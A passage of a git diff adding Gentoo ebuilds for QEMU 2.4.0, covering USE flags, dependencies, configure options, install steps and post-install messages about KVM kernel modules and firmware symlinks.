757 + SRC_URI="http://wiki.qemu-project.org/download/${P}.tar.bz2
758 + ${BACKPORTS:+
759 + https://dev.gentoo.org/~cardoe/distfiles/${P}-${BACKPORTS}.tar.xz}"
760 + KEYWORDS="~amd64 ~ppc ~ppc64 ~x86 ~x86-fbsd"
761 +fi
762 +
763 +DESCRIPTION="QEMU + Kernel-based Virtual Machine userland tools"
764 +HOMEPAGE="http://www.qemu.org http://www.linux-kvm.org"
765 +
766 +LICENSE="GPL-2 LGPL-2 BSD-2"
767 +SLOT="0"
768 +IUSE="accessibility +aio alsa bluetooth +caps +curl debug +fdt glusterfs \
769 +gtk gtk2 infiniband iscsi +jpeg \
770 +kernel_linux kernel_FreeBSD lzo ncurses nfs nls numa opengl +pin-upstream-blobs
771 ++png pulseaudio python \
772 +rbd sasl +seccomp sdl selinux smartcard snappy spice ssh static static-softmmu \
773 +static-user systemtap tci test +threads tls usb usbredir +uuid vde +vhost-net \
774 +virtfs +vnc xattr xen xfs"
775 +
776 +COMMON_TARGETS="aarch64 alpha arm cris i386 m68k microblaze microblazeel mips
777 +mips64 mips64el mipsel or32 ppc ppc64 s390x sh4 sh4eb sparc sparc64 unicore32
778 +x86_64"
779 +IUSE_SOFTMMU_TARGETS="${COMMON_TARGETS} lm32 moxie ppcemb xtensa xtensaeb"
780 +IUSE_USER_TARGETS="${COMMON_TARGETS} armeb mipsn32 mipsn32el ppc64abi32 sparc32plus"
781 +
782 +use_softmmu_targets=$(printf ' qemu_softmmu_targets_%s' ${IUSE_SOFTMMU_TARGETS})
783 +use_user_targets=$(printf ' qemu_user_targets_%s' ${IUSE_USER_TARGETS})
784 +IUSE+=" ${use_softmmu_targets} ${use_user_targets}"
785 +
786 +# Require at least one softmmu or user target.
787 +# Block USE flag configurations known to not work.
788 +REQUIRED_USE="|| ( ${use_softmmu_targets} ${use_user_targets} )
789 + ${PYTHON_REQUIRED_USE}
790 + gtk2? ( gtk )
791 + qemu_softmmu_targets_arm? ( fdt )
792 + qemu_softmmu_targets_microblaze? ( fdt )
793 + qemu_softmmu_targets_ppc? ( fdt )
794 + qemu_softmmu_targets_ppc64? ( fdt )
795 + static? ( static-softmmu static-user )
796 + static-softmmu? ( !alsa !pulseaudio !bluetooth !opengl !gtk !gtk2 )
797 + virtfs? ( xattr )"
798 +
799 +# Yep, you need both libcap and libcap-ng since virtfs only uses libcap.
800 +#
801 +# The attr lib isn't always linked in (although the USE flag is always
802 +# respected). This is because qemu supports using the C library's API
803 +# when available rather than always using the extranl library.
804 +COMMON_LIB_DEPEND=">=dev-libs/glib-2.0[static-libs(+)]
805 + sys-libs/zlib[static-libs(+)]
806 + xattr? ( sys-apps/attr[static-libs(+)] )"
807 +SOFTMMU_LIB_DEPEND="${COMMON_LIB_DEPEND}
808 + >=x11-libs/pixman-0.28.0[static-libs(+)]
809 + aio? ( dev-libs/libaio[static-libs(+)] )
810 + caps? ( sys-libs/libcap-ng[static-libs(+)] )
811 + curl? ( >=net-misc/curl-7.15.4[static-libs(+)] )
812 + fdt? ( >=sys-apps/dtc-1.4.0[static-libs(+)] )
813 + glusterfs? ( >=sys-cluster/glusterfs-3.4.0[static-libs(+)] )
814 + infiniband? ( sys-infiniband/librdmacm:=[static-libs(+)] )
815 + jpeg? ( virtual/jpeg:=[static-libs(+)] )
816 + lzo? ( dev-libs/lzo:2[static-libs(+)] )
817 + ncurses? ( sys-libs/ncurses:0=[static-libs(+)] )
818 + nfs? ( >=net-fs/libnfs-1.9.3[static-libs(+)] )
819 + numa? ( sys-process/numactl[static-libs(+)] )
820 + png? ( media-libs/libpng:0=[static-libs(+)] )
821 + rbd? ( sys-cluster/ceph[static-libs(+)] )
822 + sasl? ( dev-libs/cyrus-sasl[static-libs(+)] )
823 + sdl? ( >=media-libs/libsdl-1.2.11[static-libs(+)] )
824 + seccomp? ( >=sys-libs/libseccomp-2.1.0[static-libs(+)] )
825 + snappy? ( app-arch/snappy[static-libs(+)] )
826 + spice? ( >=app-emulation/spice-0.12.0[static-libs(+)] )
827 + ssh? ( >=net-libs/libssh2-1.2.8[static-libs(+)] )
828 + tls? ( net-libs/gnutls[static-libs(+)] )
829 + usb? ( >=virtual/libusb-1-r1[static-libs(+)] )
830 + uuid? ( >=sys-apps/util-linux-2.16.0[static-libs(+)] )
831 + vde? ( net-misc/vde[static-libs(+)] )
832 + xfs? ( sys-fs/xfsprogs[static-libs(+)] )"
833 +USER_LIB_DEPEND="${COMMON_LIB_DEPEND}"
834 +X86_FIRMWARE_DEPEND="
835 + >=sys-firmware/ipxe-1.0.0_p20130624
836 + pin-upstream-blobs? (
837 + ~sys-firmware/seabios-1.7.5
838 + ~sys-firmware/sgabios-0.1_pre8
839 + ~sys-firmware/vgabios-0.7a
840 + )
841 + !pin-upstream-blobs? (
842 + sys-firmware/seabios
843 + sys-firmware/sgabios
844 + sys-firmware/vgabios
845 + )"
846 +CDEPEND="
847 + !static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND//\[static-libs(+)]} ) " ${use_softmmu_targets}) )
848 + !static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND//\[static-libs(+)]} ) " ${use_user_targets}) )
849 + qemu_softmmu_targets_i386? ( ${X86_FIRMWARE_DEPEND} )
850 + qemu_softmmu_targets_x86_64? ( ${X86_FIRMWARE_DEPEND} )
851 + accessibility? ( app-accessibility/brltty )
852 + alsa? ( >=media-libs/alsa-lib-1.0.13 )
853 + bluetooth? ( net-wireless/bluez )
854 + gtk? (
855 + gtk2? ( x11-libs/gtk+:2 )
856 + !gtk2? ( x11-libs/gtk+:3 )
857 + x11-libs/vte:2.90
858 + )
859 + iscsi? ( net-libs/libiscsi )
860 + opengl? ( virtual/opengl )
861 + pulseaudio? ( media-sound/pulseaudio )
862 + python? ( ${PYTHON_DEPS} )
863 + sdl? ( media-libs/libsdl[X] )
864 + smartcard? ( dev-libs/nss !app-emulation/libcacard )
865 + spice? ( >=app-emulation/spice-protocol-0.12.3 )
866 + systemtap? ( dev-util/systemtap )
867 + usbredir? ( >=sys-apps/usbredir-0.6 )
868 + virtfs? ( sys-libs/libcap )
869 + xen? ( app-emulation/xen-tools:= )"
870 +DEPEND="${CDEPEND}
871 + dev-lang/perl
872 + =dev-lang/python-2*
873 + sys-apps/texinfo
874 + virtual/pkgconfig
875 + kernel_linux? ( >=sys-kernel/linux-headers-2.6.35 )
876 + gtk? ( nls? ( sys-devel/gettext ) )
877 + static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND} ) " ${use_softmmu_targets}) )
878 + static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND} ) " ${use_user_targets}) )
879 + test? (
880 + dev-libs/glib[utils]
881 + sys-devel/bc
882 + )"
883 +RDEPEND="${CDEPEND}
884 + selinux? ( sec-policy/selinux-qemu )
885 +"
886 +
887 +STRIP_MASK="/usr/share/qemu/palcode-clipper"
888 +
889 +QA_PREBUILT="
890 + usr/share/qemu/openbios-ppc
891 + usr/share/qemu/openbios-sparc64
892 + usr/share/qemu/openbios-sparc32
893 + usr/share/qemu/palcode-clipper
894 + usr/share/qemu/s390-ccw.img
895 + usr/share/qemu/u-boot.e500
896 +"
897 +
898 +QA_WX_LOAD="usr/bin/qemu-i386
899 + usr/bin/qemu-x86_64
900 + usr/bin/qemu-alpha
901 + usr/bin/qemu-arm
902 + usr/bin/qemu-cris
903 + usr/bin/qemu-m68k
904 + usr/bin/qemu-microblaze
905 + usr/bin/qemu-microblazeel
906 + usr/bin/qemu-mips
907 + usr/bin/qemu-mipsel
908 + usr/bin/qemu-or32
909 + usr/bin/qemu-ppc
910 + usr/bin/qemu-ppc64
911 + usr/bin/qemu-ppc64abi32
912 + usr/bin/qemu-sh4
913 + usr/bin/qemu-sh4eb
914 + usr/bin/qemu-sparc
915 + usr/bin/qemu-sparc64
916 + usr/bin/qemu-armeb
917 + usr/bin/qemu-sparc32plus
918 + usr/bin/qemu-s390x
919 + usr/bin/qemu-unicore32"
920 +
921 +DOC_CONTENTS="If you don't have kvm compiled into the kernel, make sure
922 +you have the kernel module loaded before running kvm. The easiest way to
923 +ensure that the kernel module is loaded is to load it on boot.\n
924 +For AMD CPUs the module is called 'kvm-amd'\n
925 +For Intel CPUs the module is called 'kvm-intel'\n
926 +Please review /etc/conf.d/modules for how to load these\n\n
927 +Make sure your user is in the 'kvm' group\n
928 +Just run 'gpasswd -a <USER> kvm', then have <USER> re-login."
929 +
930 +qemu_support_kvm() {
931 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386 \
932 + use qemu_softmmu_targets_ppc || use qemu_softmmu_targets_ppc64 \
933 + use qemu_softmmu_targets_s390x; then
934 + return 0
935 + fi
936 +
937 + return 1
938 +}
939 +
940 +pkg_pretend() {
941 + if use kernel_linux && kernel_is lt 2 6 25; then
942 + eerror "This version of KVM requres a host kernel of 2.6.25 or higher."
943 + elif use kernel_linux; then
944 + if ! linux_config_exists; then
945 + eerror "Unable to check your kernel for KVM support"
946 + else
947 + CONFIG_CHECK="~KVM ~TUN ~BRIDGE"
948 + ERROR_KVM="You must enable KVM in your kernel to continue"
949 + ERROR_KVM_AMD="If you have an AMD CPU, you must enable KVM_AMD in"
950 + ERROR_KVM_AMD+=" your kernel configuration."
951 + ERROR_KVM_INTEL="If you have an Intel CPU, you must enable"
952 + ERROR_KVM_INTEL+=" KVM_INTEL in your kernel configuration."
953 + ERROR_TUN="You will need the Universal TUN/TAP driver compiled"
954 + ERROR_TUN+=" into your kernel or loaded as a module to use the"
955 + ERROR_TUN+=" virtual network device if using -net tap."
956 + ERROR_BRIDGE="You will also need support for 802.1d"
957 + ERROR_BRIDGE+=" Ethernet Bridging for some network configurations."
958 + use vhost-net && CONFIG_CHECK+=" ~VHOST_NET"
959 + ERROR_VHOST_NET="You must enable VHOST_NET to have vhost-net"
960 + ERROR_VHOST_NET+=" support"
961 +
962 + if use amd64 || use x86 || use amd64-linux || use x86-linux; then
963 + CONFIG_CHECK+=" ~KVM_AMD ~KVM_INTEL"
964 + fi
965 +
966 + use python && CONFIG_CHECK+=" ~DEBUG_FS"
967 + ERROR_DEBUG_FS="debugFS support required for kvm_stat"
968 +
969 + # Now do the actual checks setup above
970 + check_extra_config
971 + fi
972 + fi
973 +
974 + if grep -qs '/usr/bin/qemu-kvm' "${EROOT}"/etc/libvirt/qemu/*.xml; then
975 + eerror "The kvm/qemu-kvm wrappers no longer exist, but your libvirt"
976 + eerror "instances are still pointing to it. Please update your"
977 + eerror "configs in /etc/libvirt/qemu/ to use the -enable-kvm flag"
978 + eerror "and the right system binary (e.g. qemu-system-x86_64)."
979 + die "update your virt configs to not use qemu-kvm"
980 + fi
981 +}
982 +
983 +pkg_setup() {
984 + enewgroup kvm 78
985 +}
986 +
987 +src_prepare() {
988 + # Alter target makefiles to accept CFLAGS set via flag-o
989 + sed -i -r \
990 + -e 's/^(C|OP_C|HELPER_C)FLAGS=/\1FLAGS+=/' \
991 + Makefile Makefile.target || die
992 +
993 + # Cheap hack to disable gettext .mo generation.
994 + use nls || rm -f po/*.po
995 +
996 + epatch "${FILESDIR}"/qemu-1.7.0-cflags.patch
997 + epatch "${FILESDIR}"/${PN}-2.3.0-CVE-2015-3209.patch #551752
998 + epatch "${FILESDIR}"/${PN}-2.3.0-virtio-serial.patch #557206
999 + [[ -n ${BACKPORTS} ]] && \
1000 + EPATCH_FORCE=yes EPATCH_SUFFIX="patch" EPATCH_SOURCE="${S}/patches" \
1001 + epatch
1002 +
1003 + # Fix ld and objcopy being called directly
1004 + tc-export AR LD OBJCOPY
1005 +
1006 + # Verbose builds
1007 + MAKEOPTS+=" V=1"
1008 +
1009 + epatch_user
1010 +}
1011 +
1012 +##
1013 +# configures qemu based on the build directory and the build type
1014 +# we are using.
1015 +#
1016 +qemu_src_configure() {
1017 + debug-print-function ${FUNCNAME} "$@"
1018 +
1019 + local buildtype=$1
1020 + local builddir=$2
1021 + local static_flag="static-${buildtype}"
1022 +
1023 + # audio options
1024 + local audio_opts="oss"
1025 + use alsa && audio_opts="alsa,${audio_opts}"
1026 + use sdl && audio_opts="sdl,${audio_opts}"
1027 + use pulseaudio && audio_opts="pa,${audio_opts}"
1028 +
1029 + local conf_opts=(
1030 + --prefix=/usr
1031 + --sysconfdir=/etc
1032 + --libdir=/usr/$(get_libdir)
1033 + --docdir=/usr/share/doc/${PF}/html
1034 + --disable-bsd-user
1035 + --disable-guest-agent
1036 + --disable-strip
1037 + --disable-werror
1038 + --python="${PYTHON}"
1039 + --cc="$(tc-getCC)"
1040 + --cxx="$(tc-getCXX)"
1041 + --host-cc="$(tc-getBUILD_CC)"
1042 + $(use_enable debug debug-info)
1043 + $(use_enable debug debug-tcg)
1044 + --enable-docs
1045 + $(use_enable tci tcg-interpreter)
1046 + $(use_enable xattr attr)
1047 + )
1048 +
1049 + # Disable options not used by user targets as the default configure
1050 + # options will autoprobe and try to link in a bunch of unused junk.
1051 + conf_softmmu() {
1052 + if [[ ${buildtype} == "user" ]] ; then
1053 + echo "--disable-${2:-$1}"
1054 + else
1055 + use_enable "$@"
1056 + fi
1057 + }
1058 + conf_opts+=(
1059 + $(conf_softmmu accessibility brlapi)
1060 + $(conf_softmmu aio linux-aio)
1061 + $(conf_softmmu bluetooth bluez)
1062 + $(conf_softmmu caps cap-ng)
1063 + $(conf_softmmu curl)
1064 + $(conf_softmmu fdt)
1065 + $(conf_softmmu glusterfs)
1066 + $(conf_softmmu gtk)
1067 + $(conf_softmmu infiniband rdma)
1068 + $(conf_softmmu iscsi libiscsi)
1069 + $(conf_softmmu jpeg vnc-jpeg)
1070 + $(conf_softmmu kernel_linux kvm)
1071 + $(conf_softmmu lzo)
1072 + $(conf_softmmu ncurses curses)
1073 + $(conf_softmmu nfs libnfs)
1074 + $(conf_softmmu numa)
1075 + $(conf_softmmu opengl)
1076 + $(conf_softmmu png vnc-png)
1077 + $(conf_softmmu rbd)
1078 + $(conf_softmmu sasl vnc-sasl)
1079 + $(conf_softmmu sdl)
1080 + $(conf_softmmu seccomp)
1081 + $(conf_softmmu smartcard smartcard-nss)
1082 + $(conf_softmmu snappy)
1083 + $(conf_softmmu spice)
1084 + $(conf_softmmu ssh libssh2)
1085 + $(conf_softmmu tls quorum)
1086 + $(conf_softmmu tls vnc-tls)
1087 + $(conf_softmmu tls vnc-ws)
1088 + $(conf_softmmu usb libusb)
1089 + $(conf_softmmu usbredir usb-redir)
1090 + $(conf_softmmu uuid)
1091 + $(conf_softmmu vde)
1092 + $(conf_softmmu vhost-net)
1093 + $(conf_softmmu virtfs)
1094 + $(conf_softmmu vnc)
1095 + $(conf_softmmu xen)
1096 + $(conf_softmmu xen xen-pci-passthrough)
1097 + $(conf_softmmu xfs xfsctl)
1098 + )
1099 +
1100 + case ${buildtype} in
1101 + user)
1102 + conf_opts+=(
1103 + --enable-linux-user
1104 + --disable-system
1105 + --target-list="${user_targets}"
1106 + --disable-blobs
1107 + --disable-tools
1108 + )
1109 + ;;
1110 + softmmu)
1111 + conf_opts+=(
1112 + --disable-linux-user
1113 + --enable-system
1114 + --target-list="${softmmu_targets}"
1115 + --with-system-pixman
1116 + --audio-drv-list="${audio_opts}"
1117 + )
1118 + use gtk && conf_opts+=( --with-gtkabi=$(usex gtk2 2.0 3.0) )
1119 + ;;
1120 + esac
1121 +
1122 + # Add support for SystemTAP
1123 + use systemtap && conf_opts+=( --enable-trace-backend=dtrace )
1124 +
1125 + # We always want to attempt to build with PIE support as it results
1126 + # in a more secure binary. But it doesn't work with static or if
1127 + # the current GCC doesn't have PIE support.
1128 + if use ${static_flag}; then
1129 + conf_opts+=( --static --disable-pie )
1130 + else
1131 + gcc-specs-pie && conf_opts+=( --enable-pie )
1132 + fi
1133 +
1134 + einfo "../configure ${conf_opts[*]}"
1135 + cd "${builddir}"
1136 + ../configure "${conf_opts[@]}" || die "configure failed"
1137 +
1138 + # FreeBSD's kernel does not support QEMU assigning/grabbing
1139 + # host USB devices yet
1140 + use kernel_FreeBSD && \
1141 + sed -i -E -e "s|^(HOST_USB=)bsd|\1stub|" "${S}"/config-host.mak
1142 +}
1143 +
1144 +src_configure() {
1145 + local target
1146 +
1147 + python_setup
1148 +
1149 + softmmu_targets= softmmu_bins=()
1150 + user_targets= user_bins=()
1151 +
1152 + for target in ${IUSE_SOFTMMU_TARGETS} ; do
1153 + if use "qemu_softmmu_targets_${target}"; then
1154 + softmmu_targets+=",${target}-softmmu"
1155 + softmmu_bins+=( "qemu-system-${target}" )
1156 + fi
1157 + done
1158 +
1159 + for target in ${IUSE_USER_TARGETS} ; do
1160 + if use "qemu_user_targets_${target}"; then
1161 + user_targets+=",${target}-linux-user"
1162 + user_bins+=( "qemu-${target}" )
1163 + fi
1164 + done
1165 +
1166 + [[ -n ${softmmu_targets} ]] && \
1167 + einfo "Building the following softmmu targets: ${softmmu_targets}"
1168 +
1169 + [[ -n ${user_targets} ]] && \
1170 + einfo "Building the following user targets: ${user_targets}"
1171 +
1172 + if [[ -n ${softmmu_targets} ]]; then
1173 + mkdir "${S}/softmmu-build"
1174 + qemu_src_configure "softmmu" "${S}/softmmu-build"
1175 + fi
1176 +
1177 + if [[ -n ${user_targets} ]]; then
1178 + mkdir "${S}/user-build"
1179 + qemu_src_configure "user" "${S}/user-build"
1180 + fi
1181 +}
1182 +
1183 +src_compile() {
1184 + if [[ -n ${user_targets} ]]; then
1185 + cd "${S}/user-build"
1186 + default
1187 + fi
1188 +
1189 + if [[ -n ${softmmu_targets} ]]; then
1190 + cd "${S}/softmmu-build"
1191 + default
1192 + fi
1193 +}
1194 +
1195 +src_test() {
1196 + if [[ -n ${softmmu_targets} ]]; then
1197 + cd "${S}/softmmu-build"
1198 + pax-mark m */qemu-system-* #515550
1199 + emake -j1 check
1200 + emake -j1 check-report.html
1201 + fi
1202 +}
1203 +
1204 +qemu_python_install() {
1205 + python_domodule "${S}/scripts/qmp/qmp.py"
1206 +
1207 + python_doscript "${S}/scripts/kvm/kvm_stat"
1208 + python_doscript "${S}/scripts/kvm/vmxcap"
1209 + python_doscript "${S}/scripts/qmp/qmp-shell"
1210 + python_doscript "${S}/scripts/qmp/qemu-ga-client"
1211 +}
1212 +
1213 +src_install() {
1214 + if [[ -n ${user_targets} ]]; then
1215 + cd "${S}/user-build"
1216 + emake DESTDIR="${ED}" install
1217 +
1218 + # Install binfmt handler init script for user targets
1219 + newinitd "${FILESDIR}/qemu-binfmt.initd-r1" qemu-binfmt
1220 + fi
1221 +
1222 + if [[ -n ${softmmu_targets} ]]; then
1223 + cd "${S}/softmmu-build"
1224 + emake DESTDIR="${ED}" install
1225 +
1226 + # This might not exist if the test failed. #512010
1227 + [[ -e check-report.html ]] && dohtml check-report.html
1228 +
1229 + if use kernel_linux; then
1230 + udev_dorules "${FILESDIR}"/65-kvm.rules
1231 + fi
1232 +
1233 + if use python; then
1234 + python_foreach_impl qemu_python_install
1235 + fi
1236 + fi
1237 +
1238 + # Disable mprotect on the qemu binaries as they use JITs to be fast #459348
1239 + pushd "${ED}"/usr/bin >/dev/null
1240 + pax-mark m "${softmmu_bins[@]}" "${user_bins[@]}"
1241 + popd >/dev/null
1242 +
1243 + # Install config file example for qemu-bridge-helper
1244 + insinto "/etc/qemu"
1245 + doins "${FILESDIR}/bridge.conf"
1246 +
1247 + # Remove the docdir placed qmp-commands.txt
1248 + mv "${ED}/usr/share/doc/${PF}/html/qmp-commands.txt" "${S}/docs/qmp/"
1249 +
1250 + cd "${S}"
1251 + dodoc Changelog MAINTAINERS docs/specs/pci-ids.txt
1252 + newdoc pc-bios/README README.pc-bios
1253 + dodoc docs/qmp/*.txt
1254 +
1255 + if [[ -n ${softmmu_targets} ]]; then
1256 + # Remove SeaBIOS since we're using the SeaBIOS packaged one
1257 + rm "${ED}/usr/share/qemu/bios.bin"
1258 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
1259 + dosym ../seabios/bios.bin /usr/share/qemu/bios.bin
1260 + fi
1261 +
1262 + # Remove vgabios since we're using the vgabios packaged one
1263 + rm "${ED}/usr/share/qemu/vgabios.bin"
1264 + rm "${ED}/usr/share/qemu/vgabios-cirrus.bin"
1265 + rm "${ED}/usr/share/qemu/vgabios-qxl.bin"
1266 + rm "${ED}/usr/share/qemu/vgabios-stdvga.bin"
1267 + rm "${ED}/usr/share/qemu/vgabios-vmware.bin"
1268 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
1269 + dosym ../vgabios/vgabios.bin /usr/share/qemu/vgabios.bin
1270 + dosym ../vgabios/vgabios-cirrus.bin /usr/share/qemu/vgabios-cirrus.bin
1271 + dosym ../vgabios/vgabios-qxl.bin /usr/share/qemu/vgabios-qxl.bin
1272 + dosym ../vgabios/vgabios-stdvga.bin /usr/share/qemu/vgabios-stdvga.bin
1273 + dosym ../vgabios/vgabios-vmware.bin /usr/share/qemu/vgabios-vmware.bin
1274 + fi
1275 +
1276 + # Remove sgabios since we're using the sgabios packaged one
1277 + rm "${ED}/usr/share/qemu/sgabios.bin"
1278 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
1279 + dosym ../sgabios/sgabios.bin /usr/share/qemu/sgabios.bin
1280 + fi
1281 +
1282 + # Remove iPXE since we're using the iPXE packaged one
1283 + rm "${ED}"/usr/share/qemu/pxe-*.rom
1284 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
1285 + dosym ../ipxe/8086100e.rom /usr/share/qemu/pxe-e1000.rom
1286 + dosym ../ipxe/80861209.rom /usr/share/qemu/pxe-eepro100.rom
1287 + dosym ../ipxe/10500940.rom /usr/share/qemu/pxe-ne2k_pci.rom
1288 + dosym ../ipxe/10222000.rom /usr/share/qemu/pxe-pcnet.rom
1289 + dosym ../ipxe/10ec8139.rom /usr/share/qemu/pxe-rtl8139.rom
1290 + dosym ../ipxe/1af41000.rom /usr/share/qemu/pxe-virtio.rom
1291 + fi
1292 + fi
1293 +
1294 + qemu_support_kvm && readme.gentoo_create_doc
1295 +}
1296 +
1297 +pkg_postinst() {
1298 + if qemu_support_kvm; then
1299 + readme.gentoo_print_elog
1300 + ewarn "Migration from qemu-kvm instances and loading qemu-kvm created"
1301 + ewarn "save states has been removed starting with the 1.6.2 release"
1302 + ewarn
1303 + ewarn "It is recommended that you migrate any VMs that may be running"
1304 + ewarn "on qemu-kvm to a host with a newer qemu and regenerate"
1305 + ewarn "any saved states with a newer qemu."
1306 + ewarn
1307 + ewarn "qemu-kvm was the primary qemu provider in Gentoo through 1.2.x"
1308 +
1309 + if use x86 || use amd64; then
1310 + ewarn
1311 + ewarn "The /usr/bin/kvm and /usr/bin/qemu-kvm wrappers are no longer"
1312 + ewarn "installed. In order to use kvm acceleration, pass the flag"
1313 + ewarn "-enable-kvm when running your system target."
1314 + fi
1315 + fi
1316 +
1317 + if [[ -n ${softmmu_targets} ]] && use kernel_linux; then
1318 + udev_reload
1319 + fi
1320 +
1321 + fcaps cap_net_admin /usr/libexec/qemu-bridge-helper
1322 +}
1323 +
1324 +pkg_info() {
1325 + echo "Using:"
1326 + echo " $(best_version app-emulation/spice-protocol)"
1327 + echo " $(best_version sys-firmware/ipxe)"
1328 + echo " $(best_version sys-firmware/seabios)"
1329 + if has_version sys-firmware/seabios[binary]; then
1330 + echo " USE=binary"
1331 + else
1332 + echo " USE=''"
1333 + fi
1334 + echo " $(best_version sys-firmware/vgabios)"
1335 +}
1336
1337 diff --git a/app-emulation/qemu/qemu-2.4.0-r2.ebuild b/app-emulation/qemu/qemu-2.4.0-r2.ebuild
1338 new file mode 100644
1339 index 0000000..ad8c85d
1340 --- /dev/null
1341 +++ b/app-emulation/qemu/qemu-2.4.0-r2.ebuild
1342 @@ -0,0 +1,640 @@
1343 +# Copyright 1999-2015 Gentoo Foundation
1344 +# Distributed under the terms of the GNU General Public License v2
1345 +# $Id$
1346 +
1347 +EAPI=5
1348 +
1349 +PYTHON_COMPAT=( python2_7 )
1350 +PYTHON_REQ_USE="ncurses,readline"
1351 +
1352 +inherit eutils flag-o-matic linux-info toolchain-funcs multilib python-r1 \
1353 + user udev fcaps readme.gentoo pax-utils
1354 +
1355 +BACKPORTS=
1356 +
1357 +if [[ ${PV} = *9999* ]]; then
1358 + EGIT_REPO_URI="git://git.qemu.org/qemu.git"
1359 + inherit git-2
1360 + SRC_URI=""
1361 +else
1362 + SRC_URI="http://wiki.qemu-project.org/download/${P}.tar.bz2
1363 + ${BACKPORTS:+
1364 + https://dev.gentoo.org/~cardoe/distfiles/${P}-${BACKPORTS}.tar.xz}"
1365 + KEYWORDS="amd64 ~ppc ~ppc64 x86 ~x86-fbsd"
1366 +fi
1367 +
1368 +DESCRIPTION="QEMU + Kernel-based Virtual Machine userland tools"
1369 +HOMEPAGE="http://www.qemu.org http://www.linux-kvm.org"
1370 +
1371 +LICENSE="GPL-2 LGPL-2 BSD-2"
1372 +SLOT="0"
1373 +IUSE="accessibility +aio alsa bluetooth +caps +curl debug +fdt glusterfs \
1374 +gtk gtk2 infiniband iscsi +jpeg \
1375 +kernel_linux kernel_FreeBSD lzo ncurses nfs nls numa opengl +pin-upstream-blobs
1376 ++png pulseaudio python \
1377 +rbd sasl +seccomp sdl sdl2 selinux smartcard snappy spice ssh static static-softmmu
1378 +static-user systemtap tci test +threads tls usb usbredir +uuid vde +vhost-net \
1379 +virtfs +vnc vte xattr xen xfs"
1380 +
1381 +COMMON_TARGETS="aarch64 alpha arm cris i386 m68k microblaze microblazeel mips
1382 +mips64 mips64el mipsel or32 ppc ppc64 s390x sh4 sh4eb sparc sparc64 unicore32
1383 +x86_64"
1384 +IUSE_SOFTMMU_TARGETS="${COMMON_TARGETS} lm32 moxie ppcemb tricore xtensa xtensaeb"
1385 +IUSE_USER_TARGETS="${COMMON_TARGETS} armeb mipsn32 mipsn32el ppc64abi32 ppc64le sparc32plus"
1386 +
1387 +use_softmmu_targets=$(printf ' qemu_softmmu_targets_%s' ${IUSE_SOFTMMU_TARGETS})
1388 +use_user_targets=$(printf ' qemu_user_targets_%s' ${IUSE_USER_TARGETS})
1389 +IUSE+=" ${use_softmmu_targets} ${use_user_targets}"
1390 +
1391 +# Allow no targets to be built so that people can get a tools-only build.
1392 +# Block USE flag configurations known to not work.
1393 +REQUIRED_USE="${PYTHON_REQUIRED_USE}
1394 + gtk2? ( gtk )
1395 + qemu_softmmu_targets_arm? ( fdt )
1396 + qemu_softmmu_targets_microblaze? ( fdt )
1397 + qemu_softmmu_targets_ppc? ( fdt )
1398 + qemu_softmmu_targets_ppc64? ( fdt )
1399 + sdl2? ( sdl )
1400 + static? ( static-softmmu static-user )
1401 + static-softmmu? ( !alsa !pulseaudio !bluetooth !opengl !gtk !gtk2 )
1402 + virtfs? ( xattr )
1403 + vte? ( gtk )"
1404 +
1405 +# Yep, you need both libcap and libcap-ng since virtfs only uses libcap.
1406 +#
1407 +# The attr lib isn't always linked in (although the USE flag is always
1408 +# respected). This is because qemu supports using the C library's API
1409 +# when available rather than always using the extranl library.
1410 +COMMON_LIB_DEPEND=">=dev-libs/glib-2.0[static-libs(+)]
1411 + sys-libs/zlib[static-libs(+)]
1412 + xattr? ( sys-apps/attr[static-libs(+)] )"
1413 +SOFTMMU_LIB_DEPEND="${COMMON_LIB_DEPEND}
1414 + >=x11-libs/pixman-0.28.0[static-libs(+)]
1415 + accessibility? ( app-accessibility/brltty[static-libs(+)] )
1416 + aio? ( dev-libs/libaio[static-libs(+)] )
1417 + alsa? ( >=media-libs/alsa-lib-1.0.13 )
1418 + bluetooth? ( net-wireless/bluez )
1419 + caps? ( sys-libs/libcap-ng[static-libs(+)] )
1420 + curl? ( >=net-misc/curl-7.15.4[static-libs(+)] )
1421 + fdt? ( >=sys-apps/dtc-1.4.0[static-libs(+)] )
1422 + glusterfs? ( >=sys-cluster/glusterfs-3.4.0[static-libs(+)] )
1423 + gtk? (
1424 + gtk2? (
1425 + x11-libs/gtk+:2
1426 + vte? ( x11-libs/vte:0 )
1427 + )
1428 + !gtk2? (
1429 + x11-libs/gtk+:3
1430 + vte? ( x11-libs/vte:2.90 )
1431 + )
1432 + )
1433 + infiniband? ( sys-infiniband/librdmacm:=[static-libs(+)] )
1434 + iscsi? ( net-libs/libiscsi )
1435 + jpeg? ( virtual/jpeg:=[static-libs(+)] )
1436 + lzo? ( dev-libs/lzo:2[static-libs(+)] )
1437 + ncurses? ( sys-libs/ncurses:0=[static-libs(+)] )
1438 + nfs? ( >=net-fs/libnfs-1.9.3[static-libs(+)] )
1439 + numa? ( sys-process/numactl[static-libs(+)] )
1440 + opengl? (
1441 + virtual/opengl
1442 + media-libs/libepoxy[static-libs(+)]
1443 + media-libs/mesa[static-libs(+)]
1444 + media-libs/mesa[egl,gles2]
1445 + )
1446 + png? ( media-libs/libpng:0=[static-libs(+)] )
1447 + pulseaudio? ( media-sound/pulseaudio )
1448 + rbd? ( sys-cluster/ceph[static-libs(+)] )
1449 + sasl? ( dev-libs/cyrus-sasl[static-libs(+)] )
1450 + sdl? (
1451 + !sdl2? (
1452 + media-libs/libsdl[X]
1453 + >=media-libs/libsdl-1.2.11[static-libs(+)]
1454 + )
1455 + sdl2? (
1456 + media-libs/libsdl2[X]
1457 + media-libs/libsdl2[static-libs(+)]
1458 + )
1459 + )
1460 + seccomp? ( >=sys-libs/libseccomp-2.1.0[static-libs(+)] )
1461 + smartcard? ( dev-libs/nss !app-emulation/libcacard )
1462 + snappy? ( app-arch/snappy[static-libs(+)] )
1463 + spice? (
1464 + >=app-emulation/spice-protocol-0.12.3
1465 + >=app-emulation/spice-0.12.0[static-libs(+)]
1466 + )
